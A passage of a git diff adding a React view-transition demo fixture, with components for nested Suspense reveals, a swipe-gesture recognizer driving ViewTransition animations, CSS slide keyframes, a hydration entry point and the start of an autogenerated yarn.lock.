+}
diff --git a/fixtures/view-transition/src/components/NestedReveal.js b/fixtures/view-transition/src/components/NestedReveal.js
new file mode 100644
index 000000000000..497f4430f6cf
--- /dev/null
+++ b/fixtures/view-transition/src/components/NestedReveal.js
@@ -0,0 +1,36 @@
+import React, {Suspense, use} from 'react';
+
+async function sleep(ms) {
+  return new Promise(resolve => setTimeout(resolve, ms));
+}
+
+function Use({useable}) {
+  use(useable);
+  return null;
+}
+
+let delay1;
+let delay2;
+
+export default function NestedReveal({}) {
+  if (!delay1) {
+    delay1 = sleep(100);
+    // Needs to happen before the throttled reveal of delay 1
+    delay2 = sleep(200);
+  }
+
+  return (
+    <div className="swipe-recognizer">
+      Shell
+      <Suspense fallback="Loading level 1">
+        <div>Level 1</div>
+        <Use useable={delay1} />
+
+        <Suspense fallback="Loading level 2">
+          <div>Level 2</div>
+          <Use useable={delay2} />
+        </Suspense>
+      </Suspense>
+    </div>
+  );
+}
diff --git a/fixtures/view-transition/src/components/Page.css b/fixtures/view-transition/src/components/Page.css
new file mode 100644
index 000000000000..63ae718e7401
--- /dev/null
+++ b/fixtures/view-transition/src/components/Page.css
@@ -0,0 +1,21 @@
+.swipe-recognizer {
+  width: 300px;
+  background: #eee;
+  border-radius: 10px;
+  padding: 20px;
+}
+
+.button {
+  background: #000;
+  color: #fff;
+  border: 0px;
+  border-radius: 5px;
+  padding: 10px;
+}
+
+.portal {
+  position: fixed;
+  top: 10px;
+  left: 360px;
+  border: 1px solid #ccc;
+}
\ No newline at end of file
diff --git a/fixtures/view-transition/src/components/Page.js b/fixtures/view-transition/src/components/Page.js
new file mode 100644
index 000000000000..60faa09732d9
--- /dev/null
+++ b/fixtures/view-transition/src/components/Page.js
@@ -0,0 +1,327 @@
+import React, {
+  addTransitionType,
+  ViewTransition,
+  Activity,
+  useLayoutEffect,
+  useEffect,
+  useInsertionEffect,
+  useState,
+  useId,
+  useOptimistic,
+  startTransition,
+  Suspense,
+} from 'react';
+
+import {createPortal} from 'react-dom';
+
+import SwipeRecognizer from './SwipeRecognizer.js';
+
+import './Page.css';
+
+import transitions from './Transitions.module.css';
+import NestedReveal from './NestedReveal.js';
+
+async function sleep(ms) {
+  return new Promise(resolve => setTimeout(resolve, ms));
+}
+
+const a = (
+  <div key="a">
+    <ViewTransition>
+      <div>a</div>
+    </ViewTransition>
+  </div>
+);
+
+const b = (
+  <div key="b">
+    <ViewTransition>
+      <div>b</div>
+    </ViewTransition>
+  </div>
+);
+
+function Component() {
+  // Test inserting fonts with style tags using useInsertionEffect. This is not recommended but
+  // used to test that gestures etc works with useInsertionEffect so that stylesheet based
+  // libraries can be properly supported.
+  useInsertionEffect(() => {
+    const style = document.createElement('style');
+    style.textContent = `
+      .roboto-font {
+        font-family: "Roboto", serif;
+        font-optical-sizing: auto;
+        font-weight: 100;
+        font-style: normal;
+        font-variation-settings:
+          "wdth" 100;
+      }
+    `;
+    document.head.appendChild(style);
+    return () => {
+      document.head.removeChild(style);
+    };
+  }, []);
+  return (
+    <ViewTransition
+      default={
+        transitions['enter-slide-right'] + ' ' + transitions['exit-slide-left']
+      }>
+      <p className="roboto-font">Slide In from Left, Slide Out to Right</p>
+      <p>
+        <img
+          src="https://react.dev/_next/image?url=%2Fimages%2Fteam%2Fsebmarkbage.jpg&w=3840&q=75"
+          width="400"
+          height="248"
+        />
+      </p>
+    </ViewTransition>
+  );
+}
+
+function Id() {
+  // This is just testing that Id inside a ViewTransition can hydrate correctly.
+  return <span id={useId()} />;
+}
+
+let wait;
+function Suspend() {
+  if (!wait) wait = sleep(500);
+  return React.use(wait);
+}
+
+export default function Page({url, navigate}) {
+  const [renderedUrl, optimisticNavigate] = useOptimistic(
+    url,
+    (state, direction) => {
+      return direction === 'left' ? '/?a' : '/?b';
+    }
+  );
+  const show = renderedUrl === '/?b';
+  function onTransition(viewTransition, types) {
+    const keyframes = [
+      {rotate: '0deg', transformOrigin: '30px 8px'},
+      {rotate: '360deg', transformOrigin: '30px 8px'},
+    ];
+    const animation1 = viewTransition.old.animate(keyframes, 250);
+    const animation2 = viewTransition.new.animate(keyframes, 250);
+    return () => {
+      animation1.cancel();
+      animation2.cancel();
+    };
+  }
+
+  function onGestureTransition(
+    timeline,
+    {rangeStart, rangeEnd},
+    viewTransition,
+    types
+  ) {
+    const keyframes = [
+      {rotate: '0deg', transformOrigin: '30px 8px'},
+      {rotate: '360deg', transformOrigin: '30px 8px'},
+    ];
+    const reverse = rangeStart > rangeEnd;
+    if (timeline instanceof AnimationTimeline) {
+      // Native Timeline
+      const options = {
+        timeline: timeline,
+        direction: reverse ? 'normal' : 'reverse',
+        rangeStart: (reverse ? rangeEnd : rangeStart) + '%',
+        rangeEnd: (reverse ? rangeStart : rangeEnd) + '%',
+      };
+      const animation1 = viewTransition.old.animate(keyframes, options);
+      const animation2 = viewTransition.new.animate(keyframes, options);
+      return () => {
+        animation1.cancel();
+        animation2.cancel();
+      };
+    } else {
+      // Custom Timeline
+      const options = {
+        direction: reverse ? 'normal' : 'reverse',
+        // We set the delay and duration to represent the span of the range.
+        delay: reverse ? rangeEnd : rangeStart,
+        duration: reverse ? rangeStart - rangeEnd : rangeEnd - rangeStart,
+      };
+      const animation1 = viewTransition.old.animate(keyframes, options);
+      const animation2 = viewTransition.new.animate(keyframes, options);
+      // Let the custom timeline take control of driving the animations.
+      const cleanup1 = timeline.animate(animation1);
+      const cleanup2 = timeline.animate(animation2);
+      return () => {
+        animation1.cancel();
+        animation2.cancel();
+        cleanup1();
+        cleanup2();
+      };
+    }
+  }
+
+  function swipeAction() {
+    navigate(show ? '/?a' : '/?b');
+  }
+
+  const [counter, setCounter] = useState(0);
+
+  useEffect(() => {
+    const timer = setInterval(() => setCounter(c => c + 1), 1000);
+    return () => clearInterval(timer);
+  }, []);
+
+  useLayoutEffect(() => {
+    // Calling a default update should not interrupt ViewTransitions but
+    // a flushSync will.
+    // Promise.resolve().then(() => {
+    //   flushSync(() => {
+    // setCounter(c => c + 10);
+    //  });
+    // });
+  }, [show]);
+
+  const [showModal, setShowModal] = useState(false);
+  const portal = showModal ? (
+    createPortal(
+      <div className="portal">
+        Portal: {!show ? 'A' : 'B'}
+        <ViewTransition>
+          <div>{!show ? 'A' : 'B'}</div>
+        </ViewTransition>
+      </div>,
+      document.body
+    )
+  ) : (
+    <button
+      onClick={() =>
+        startTransition(async () => {
+          await sleep(2000);
+          setShowModal(true);
+        })
+      }>
+      Show Modal
+    </button>
+  );
+
+  const exclamation = (
+    <ViewTransition
+      name="exclamation"
+      onShare={onTransition}
+      onGestureShare={onGestureTransition}>
+      <span>
+        <div>!</div>
+      </span>
+    </ViewTransition>
+  );
+  return (
+    <div className="swipe-recognizer">
+      <SwipeRecognizer
+        action={swipeAction}
+        gesture={direction => {
+          addTransitionType(
+            direction === 'left' ? 'navigation-forward' : 'navigation-back'
+          );
+          optimisticNavigate(direction);
+        }}
+        direction={show ? 'left' : 'right'}>
+        <button
+          className="button"
+          onClick={() => {
+            navigate(url === '/?b' ? '/?a' : '/?b');
+          }}>
+          {url === '/?b' ? 'Goto A' : 'Goto B'}
+        </button>
+        <ViewTransition default="none">
+          <div>
+            <ViewTransition>
+              <div>
+                <ViewTransition default={transitions['slide-on-nav']}>
+                  <h1>{!show ? 'A' : 'B' + counter}</h1>
+                </ViewTransition>
+              </div>
+            </ViewTransition>
+            <ViewTransition
+              default={{
+                'navigation-back': transitions['slide-right'],
+                'navigation-forward': transitions['slide-left'],
+              }}>
+              <h1>{!show ? 'A' + counter : 'B'}</h1>
+            </ViewTransition>
+            {
+              // Using url instead of renderedUrl here lets us only update this on commit.
+              url === '/?b' ? (
+                <div>
+                  {a}
+                  {b}
+                </div>
+              ) : (
+                <div>
+                  {b}
+                  {a}
+                </div>
+              )
+            }
+            <ViewTransition>
+              {show ? (
+                <div>hello{exclamation}</div>
+              ) : (
+                <section>Loading</section>
+              )}
+            </ViewTransition>
+            <p>
+              <Id />
+            </p>
+            {show ? null : (
+              <ViewTransition>
+                <div>world{exclamation}</div>
+              </ViewTransition>
+            )}
+            <Activity mode={show ? 'visible' : 'hidden'}>
+              <ViewTransition>
+                <div>!!</div>
+              </ViewTransition>
+            </Activity>
+            <Suspense
+              fallback={
+                <ViewTransition>
+                  <div>
+                    <ViewTransition name="shared-reveal">
+                      <h2>█████</h2>
+                    </ViewTransition>
+                    <p>████</p>
+                    <p>███████</p>
+                    <p>████</p>
+                    <p>██</p>
+                    <p>██████</p>
+                    <p>███</p>
+                    <p>████</p>
+                  </div>
+                </ViewTransition>
+              }>
+              <ViewTransition>
+                <div>
+                  <p>these</p>
+                  <p>rows</p>
+                  <ViewTransition name="shared-reveal">
+                    <h2>exist</h2>
+                  </ViewTransition>
+                  <p>to</p>
+                  <p>test</p>
+                  <p>scrolling</p>
+                  <p>content</p>
+                  <p>out</p>
+                  <p>of</p>
+                  {portal}
+                  <p>the</p>
+                  <p>viewport</p>
+                  <Suspend />
+                </div>
+              </ViewTransition>
+              {show ? <Component /> : null}
+            </Suspense>
+          </div>
+        </ViewTransition>
+      </SwipeRecognizer>
+      <NestedReveal />
+    </div>
+  );
+}
diff --git a/fixtures/view-transition/src/components/SwipeRecognizer.js b/fixtures/view-transition/src/components/SwipeRecognizer.js
new file mode 100644
index 000000000000..6d6281102371
--- /dev/null
+++ b/fixtures/view-transition/src/components/SwipeRecognizer.js
@@ -0,0 +1,256 @@
+import React, {
+  useRef,
+  useEffect,
+  startTransition,
+  unstable_startGestureTransition as startGestureTransition,
+} from 'react';
+
+import ScrollTimelinePolyfill from 'animation-timelines/scroll-timeline';
+import TouchPanTimeline from 'animation-timelines/touch-pan-timeline';
+
+const ua = typeof navigator === 'undefined' ? '' : navigator.userAgent;
+const isSafariMobile =
+  ua.indexOf('Safari') !== -1 &&
+  (ua.indexOf('iPhone') !== -1 ||
+    ua.indexOf('iPad') !== -1 ||
+    ua.indexOf('iPod') !== -1);
+
+// Example of a Component that can recognize swipe gestures using a ScrollTimeline
+// without scrolling its own content. Allowing it to be used as an inert gesture
+// recognizer to drive a View Transition.
+export default function SwipeRecognizer({
+  action,
+  children,
+  direction,
+  gesture,
+}) {
+  if (direction == null) {
+    direction = 'left';
+  }
+  const axis = direction === 'left' || direction === 'right' ? 'x' : 'y';
+
+  const scrollRef = useRef(null);
+  const activeGesture = useRef(null);
+  const touchTimeline = useRef(null);
+
+  function onTouchStart(event) {
+    if (!isSafariMobile && typeof ScrollTimeline === 'function') {
+      // If not Safari and native ScrollTimeline is supported, then we use that.
+      return;
+    }
+    if (touchTimeline.current) {
+      // We can catch the gesture before it settles.
+      return;
+    }
+    const scrollElement = scrollRef.current;
+    const bounds =
+      axis === 'x' ? scrollElement.clientWidth : scrollElement.clientHeight;
+    const range =
+      direction === 'left' || direction === 'up' ? [bounds, 0] : [0, -bounds];
+    const timeline = new TouchPanTimeline({
+      touch: event,
+      source: scrollElement,
+      axis: axis,
+      range: range,
+      snap: range,
+    });
+    touchTimeline.current = timeline;
+    timeline.settled.then(() => {
+      if (touchTimeline.current !== timeline) {
+        return;
+      }
+      touchTimeline.current = null;
+      const changed =
+        direction === 'left' || direction === 'up'
+          ? timeline.currentTime < 50
+          : timeline.currentTime > 50;
+      onGestureEnd(changed);
+    });
+  }
+
+  function onTouchEnd() {
+    if (activeGesture.current === null) {
+      // If we didn't start a gesture before we release, we can release our
+      // timeline.
+      touchTimeline.current = null;
+    }
+  }
+
+  function onScroll() {
+    if (activeGesture.current !== null) {
+      return;
+    }
+
+    let scrollTimeline;
+    if (touchTimeline.current) {
+      // We're in a polyfilled touch gesture. Let's use that timeline instead.
+      scrollTimeline = touchTimeline.current;
+    } else if (typeof ScrollTimeline === 'function') {
+      // eslint-disable-next-line no-undef
+      scrollTimeline = new ScrollTimeline({
+        source: scrollRef.current,
+        axis: axis,
+      });
+    } else {
+      scrollTimeline = new ScrollTimelinePolyfill({
+        source: scrollRef.current,
+        axis: axis,
+      });
+    }
+    activeGesture.current = startGestureTransition(
+      scrollTimeline,
+      () => {
+        gesture(direction);
+      },
+      direction === 'left' || direction === 'up'
+        ? {
+            rangeStart: 100,
+            rangeEnd: 0,
+          }
+        : {
+            rangeStart: 0,
+            rangeEnd: 100,
+          }
+    );
+  }
+  function onGestureEnd(changed) {
+    // We cancel the gesture before invoking side-effects to allow the gesture lane to fully commit
+    // before scheduling new updates.
+    if (activeGesture.current !== null) {
+      const cancelGesture = activeGesture.current;
+      activeGesture.current = null;
+      cancelGesture();
+    }
+    if (changed) {
+      // Trigger side-effects
+      startTransition(action);
+    }
+  }
+  function onScrollEnd() {
+    if (touchTimeline.current) {
+      // We have a touch gesture controlling the swipe.
+      return;
+    }
+    let changed;
+    const scrollElement = scrollRef.current;
+    if (axis === 'x') {
+      const halfway =
+        (scrollElement.scrollWidth - scrollElement.clientWidth) / 2;
+      changed =
+        direction === 'left'
+          ? scrollElement.scrollLeft < halfway
+          : scrollElement.scrollLeft > halfway;
+    } else {
+      const halfway =
+        (scrollElement.scrollHeight - scrollElement.clientHeight) / 2;
+      changed =
+        direction === 'up'
+          ? scrollElement.scrollTop < halfway
+          : scrollElement.scrollTop > halfway;
+    }
+    onGestureEnd(changed);
+  }
+
+  useEffect(() => {
+    const scrollElement = scrollRef.current;
+    switch (direction) {
+      case 'left':
+        scrollElement.scrollLeft =
+          scrollElement.scrollWidth - scrollElement.clientWidth;
+        break;
+      case 'right':
+        scrollElement.scrollLeft = 0;
+        break;
+      case 'up':
+        scrollElement.scrollTop =
+          scrollElement.scrollHeight - scrollElement.clientHeight;
+        break;
+      case 'down':
+        scrollElement.scrollTop = 0;
+        break;
+      default:
+        break;
+    }
+  }, [direction]);
+
+  const scrollStyle = {
+    position: 'relative',
+    padding: '0px',
+    margin: '0px',
+    border: '0px',
+    width: axis === 'x' ? '100%' : null,
+    height: axis === 'y' ? '100%' : null,
+    overflow: 'scroll hidden',
+    // Disable overscroll on Safari which moves the sticky content.
+    // Unfortunately, this also means that we disable chaining. We should only disable
+    // it if the parent is not scrollable in this axis.
+    overscrollBehaviorX: axis === 'x' ? 'none' : 'auto',
+    overscrollBehaviorY: axis === 'y' ? 'none' : 'auto',
+    scrollSnapType: axis + ' mandatory',
+    scrollbarWidth: 'none',
+  };
+
+  const overScrollStyle = {
+    position: 'relative',
+    padding: '0px',
+    margin: '0px',
+    border: '0px',
+    width: axis === 'x' ? '200%' : null,
+    height: axis === 'y' ? '200%' : null,
+  };
+
+  const snapStartStyle = {
+    position: 'absolute',
+    padding: '0px',
+    margin: '0px',
+    border: '0px',
+    width: axis === 'x' ? '50%' : '100%',
+    height: axis === 'y' ? '50%' : '100%',
+    left: '0px',
+    top: '0px',
+    scrollSnapAlign: 'center',
+  };
+
+  const snapEndStyle = {
+    position: 'absolute',
+    padding: '0px',
+    margin: '0px',
+    border: '0px',
+    width: axis === 'x' ? '50%' : '100%',
+    height: axis === 'y' ? '50%' : '100%',
+    right: '0px',
+    bottom: '0px',
+    scrollSnapAlign: 'center',
+  };
+
+  // By placing the content in a sticky box we ensure that it doesn't move when
+  // we scroll. Unless done so by the View Transition.
+  const stickyStyle = {
+    position: 'sticky',
+    padding: '0px',
+    margin: '0px',
+    border: '0px',
+    left: '0px',
+    top: '0px',
+    width: axis === 'x' ? '50%' : null,
+    height: axis === 'y' ? '50%' : null,
+    overflow: 'hidden',
+  };
+
+  return (
+    <div
+      style={scrollStyle}
+      onTouchStart={onTouchStart}
+      onTouchEnd={onTouchEnd}
+      onTouchCancel={onTouchEnd}
+      onScroll={onScroll}
+      onScrollEnd={onScrollEnd}
+      ref={scrollRef}>
+      <div style={overScrollStyle}>
+        <div style={snapStartStyle} />
+        <div style={snapEndStyle} />
+        <div style={stickyStyle}>{children}</div>
+      </div>
+    </div>
+  );
+}
diff --git a/fixtures/view-transition/src/components/Transitions.module.css b/fixtures/view-transition/src/components/Transitions.module.css
new file mode 100644
index 000000000000..0cfe870cfb6f
--- /dev/null
+++ b/fixtures/view-transition/src/components/Transitions.module.css
@@ -0,0 +1,81 @@
+@keyframes enter-slide-right {
+  0% {
+    opacity: 0;
+    translate: -200px 0;
+  }
+  100% {
+    opacity: 1;
+    translate: 0 0;
+  }
+}
+
+@keyframes enter-slide-left {
+  0% {
+    opacity: 0;
+    translate: 200px 0;
+  }
+  100% {
+    opacity: 1;
+    translate: 0 0;
+  }
+}
+
+@keyframes exit-slide-right {
+  0% {
+    opacity: 1;
+    translate: 0 0;
+  }
+  100% {
+    opacity: 0;
+    translate: 200px 0;
+  }
+}
+
+@keyframes exit-slide-left {
+  0% {
+    opacity: 1;
+    translate: 0 0;
+  }
+  100% {
+    opacity: 0;
+    translate: -200px 0;
+  }
+}
+
+::view-transition-new(.slide-right) {
+  animation: enter-slide-right ease-in 0.25s;
+}
+::view-transition-old(.slide-right) {
+  animation: exit-slide-right ease-in 0.25s;
+}
+::view-transition-new(.slide-left) {
+  animation: enter-slide-left ease-in 0.25s;
+}
+::view-transition-old(.slide-left) {
+  animation: exit-slide-left ease-in 0.25s;
+}
+
+::view-transition-new(.enter-slide-right):only-child {
+  animation: enter-slide-right ease-in 0.25s forwards;
+}
+::view-transition-old(.exit-slide-left):only-child {
+  animation: exit-slide-left ease-in 0.25s forwards;
+}
+
+:root:active-view-transition-type(navigation-back) {
+  &::view-transition-new(.slide-on-nav) {
+    animation: enter-slide-right ease-in 0.25s;
+  }
+  &::view-transition-old(.slide-on-nav) {
+    animation: exit-slide-right ease-in 0.25s;
+  }
+}
+
+:root:active-view-transition-type(navigation-forward) {
+  &::view-transition-new(.slide-on-nav) {
+    animation: enter-slide-left ease-in 0.25s;
+  }
+  &::view-transition-old(.slide-on-nav) {
+    animation: exit-slide-left ease-in 0.25s;
+  }
+}
diff --git a/fixtures/view-transition/src/index.js b/fixtures/view-transition/src/index.js
new file mode 100644
index 000000000000..29b53bf03792
--- /dev/null
+++ b/fixtures/view-transition/src/index.js
@@ -0,0 +1,12 @@
+import React from 'react';
+import {hydrateRoot} from 'react-dom/client';
+
+import App from './components/App.js';
+
+hydrateRoot(
+  document,
+  <App
+    assets={window.assetManifest}
+    initialURL={document.location.pathname + document.location.search}
+  />
+);
diff --git a/fixtures/view-transition/yarn.lock b/fixtures/view-transition/yarn.lock
new file mode 100644
index 000000000000..3efb208f1ec1
--- /dev/null
+++ b/fixtures/view-transition/yarn.lock
@@ -0,0 +1,9846 @@
+# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
+# yarn lockfile v1
+
+
+"@alloc/quick-lru@^5.2.0":
+  version "5.2.0"
+  resolved "https://registry.yarnpkg.com/@alloc/quick-lru/-/quick-lru-5.2.0.tgz#7bf68b20c0a350f936915fcae06f58e32007ce30"
+  integrity sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==
+
+"@ampproject/remapping@^2.2.0":
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/@ampproject/remapping/-/remapping-2.3.0.tgz#ed441b6fa600072520ce18b43d2c8cc8caecc7f4"
+  integrity sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==
+  dependencies:
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.24"
+
+"@apideck/better-ajv-errors@^0.3.1":
+  version "0.3.6"
+  resolved "https://registry.yarnpkg.com/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.6.tgz#957d4c28e886a64a8141f7522783be65733ff097"
+  integrity sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==
+  dependencies:
+    json-schema "^0.4.0"
+    jsonpointer "^5.0.0"
+    leven "^3.1.0"
+
+"@babel/code-frame@^7.0.0", "@babel/code-frame@^7.10.4", "@babel/code-frame@^7.12.13", "@babel/code-frame@^7.16.0", "@babel/code-frame@^7.25.9", "@babel/code-frame@^7.26.0", "@babel/code-frame@^7.26.2", "@babel/code-frame@^7.8.3":
+  version "7.26.2"
+  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.26.2.tgz#4b5fab97d33338eff916235055f0ebc21e573a85"
+  integrity sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==
+  dependencies:
+    "@babel/helper-validator-identifier" "^7.25.9"
+    js-tokens "^4.0.0"
+    picocolors "^1.0.0"
+
+"@babel/compat-data@^7.22.6", "@babel/compat-data@^7.25.9", "@babel/compat-data@^7.26.0":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.26.3.tgz#99488264a56b2aded63983abd6a417f03b92ed02"
+  integrity sha512-nHIxvKPniQXpmQLb0vhY3VaFb3S0YrTAwpOWJZh1wn3oJPjJk9Asva204PsBdmAE8vpzfHudT8DB0scYvy9q0g==
+
+"@babel/core@^7.1.0", "@babel/core@^7.11.1", "@babel/core@^7.12.3", "@babel/core@^7.16.0", "@babel/core@^7.7.2", "@babel/core@^7.8.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.26.0.tgz#d78b6023cc8f3114ccf049eb219613f74a747b40"
+  integrity sha512-i1SLeK+DzNnQ3LL/CswPCa/E5u4lh1k6IAEphON8F+cXt0t9euTshDru0q7/IqMa1PMPz5RnHuHscF8/ZJsStg==
+  dependencies:
+    "@ampproject/remapping" "^2.2.0"
+    "@babel/code-frame" "^7.26.0"
+    "@babel/generator" "^7.26.0"
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-module-transforms" "^7.26.0"
+    "@babel/helpers" "^7.26.0"
+    "@babel/parser" "^7.26.0"
+    "@babel/template" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.26.0"
+    convert-source-map "^2.0.0"
+    debug "^4.1.0"
+    gensync "^1.0.0-beta.2"
+    json5 "^2.2.3"
+    semver "^6.3.1"
+
+"@babel/eslint-parser@^7.16.3":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/eslint-parser/-/eslint-parser-7.25.9.tgz#603c68a63078796527bc9d0833f5e52dd5f9224c"
+  integrity sha512-5UXfgpK0j0Xr/xIdgdLEhOFxaDZ0bRPWJJchRpqOSur/3rZoPbqqki5mm0p4NE2cs28krBEiSM2MB7//afRSQQ==
+  dependencies:
+    "@nicolo-ribaudo/eslint-scope-5-internals" "5.1.1-v1"
+    eslint-visitor-keys "^2.1.0"
+    semver "^6.3.1"
+
+"@babel/generator@^7.26.0", "@babel/generator@^7.26.3", "@babel/generator@^7.7.2":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.26.3.tgz#ab8d4360544a425c90c248df7059881f4b2ce019"
+  integrity sha512-6FF/urZvD0sTeO7k6/B15pMLC4CHUv1426lzr3N01aHJTl046uCAh9LXW/fzeXXjPNCJ6iABW5XaWOsIZB93aQ==
+  dependencies:
+    "@babel/parser" "^7.26.3"
+    "@babel/types" "^7.26.3"
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.25"
+    jsesc "^3.0.2"
+
+"@babel/helper-annotate-as-pure@^7.18.6", "@babel/helper-annotate-as-pure@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.25.9.tgz#d8eac4d2dc0d7b6e11fa6e535332e0d3184f06b4"
+  integrity sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g==
+  dependencies:
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-compilation-targets@^7.22.6", "@babel/helper-compilation-targets@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.25.9.tgz#55af025ce365be3cdc0c1c1e56c6af617ce88875"
+  integrity sha512-j9Db8Suy6yV/VHa4qzrj9yZfZxhLWQdVnRlXxmKLYlhWUVB1sB2G5sxuWYXk/whHD9iW76PmNzxZ4UCnTQTVEQ==
+  dependencies:
+    "@babel/compat-data" "^7.25.9"
+    "@babel/helper-validator-option" "^7.25.9"
+    browserslist "^4.24.0"
+    lru-cache "^5.1.1"
+    semver "^6.3.1"
+
+"@babel/helper-create-class-features-plugin@^7.18.6", "@babel/helper-create-class-features-plugin@^7.21.0", "@babel/helper-create-class-features-plugin@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.25.9.tgz#7644147706bb90ff613297d49ed5266bde729f83"
+  integrity sha512-UTZQMvt0d/rSz6KI+qdu7GQze5TIajwTS++GUozlw8VBJDEOAqSXwm1WvmYEZwqdqSGQshRocPDqrt4HBZB3fQ==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-member-expression-to-functions" "^7.25.9"
+    "@babel/helper-optimise-call-expression" "^7.25.9"
+    "@babel/helper-replace-supers" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+    semver "^6.3.1"
+
+"@babel/helper-create-regexp-features-plugin@^7.18.6", "@babel/helper-create-regexp-features-plugin@^7.25.9":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.26.3.tgz#5169756ecbe1d95f7866b90bb555b022595302a0"
+  integrity sha512-G7ZRb40uUgdKOQqPLjfD12ZmGA54PzqDFUv2BKImnC9QIfGhIHKvVML0oN8IUiDq4iRqpq74ABpvOaerfWdong==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    regexpu-core "^6.2.0"
+    semver "^6.3.1"
+
+"@babel/helper-define-polyfill-provider@^0.6.2", "@babel/helper-define-polyfill-provider@^0.6.3":
+  version "0.6.3"
+  resolved "https://registry.yarnpkg.com/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.3.tgz#f4f2792fae2ef382074bc2d713522cf24e6ddb21"
+  integrity sha512-HK7Bi+Hj6H+VTHA3ZvBis7V/6hu9QuTrnMXNybfUf2iiuU/N97I8VjB+KbhFF8Rld/Lx5MzoCwPCpPjfK+n8Cg==
+  dependencies:
+    "@babel/helper-compilation-targets" "^7.22.6"
+    "@babel/helper-plugin-utils" "^7.22.5"
+    debug "^4.1.1"
+    lodash.debounce "^4.0.8"
+    resolve "^1.14.2"
+
+"@babel/helper-member-expression-to-functions@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.25.9.tgz#9dfffe46f727005a5ea29051ac835fb735e4c1a3"
+  integrity sha512-wbfdZ9w5vk0C0oyHqAJbc62+vet5prjj01jjJ8sKn3j9h3MQQlflEdXYvuqRWjHnM12coDEqiC1IRCi0U/EKwQ==
+  dependencies:
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-module-imports@^7.10.4", "@babel/helper-module-imports@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.25.9.tgz#e7f8d20602ebdbf9ebbea0a0751fb0f2a4141715"
+  integrity sha512-tnUA4RsrmflIM6W6RFTLFSXITtl0wKjgpnLgXyowocVPrbYrLUXSBXDgTs8BlbmIzIdlBySRQjINYs2BAkiLtw==
+  dependencies:
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-module-transforms@^7.25.9", "@babel/helper-module-transforms@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.26.0.tgz#8ce54ec9d592695e58d84cd884b7b5c6a2fdeeae"
+  integrity sha512-xO+xu6B5K2czEnQye6BHA7DolFFmS3LB7stHZFaOLb1pAwO1HWLS8fXA+eh0A2yIvltPVmx3eNNDBJA2SLHXFw==
+  dependencies:
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-validator-identifier" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/helper-optimise-call-expression@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.25.9.tgz#3324ae50bae7e2ab3c33f60c9a877b6a0146b54e"
+  integrity sha512-FIpuNaz5ow8VyrYcnXQTDRGvV6tTjkNtCK/RYNDXGSLlUD6cBuQTSw43CShGxjvfBTfcUA/r6UhUCbtYqkhcuQ==
+  dependencies:
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-plugin-utils@^7.0.0", "@babel/helper-plugin-utils@^7.10.4", "@babel/helper-plugin-utils@^7.12.13", "@babel/helper-plugin-utils@^7.14.5", "@babel/helper-plugin-utils@^7.18.6", "@babel/helper-plugin-utils@^7.20.2", "@babel/helper-plugin-utils@^7.22.5", "@babel/helper-plugin-utils@^7.25.9", "@babel/helper-plugin-utils@^7.8.0":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.25.9.tgz#9cbdd63a9443a2c92a725cca7ebca12cc8dd9f46"
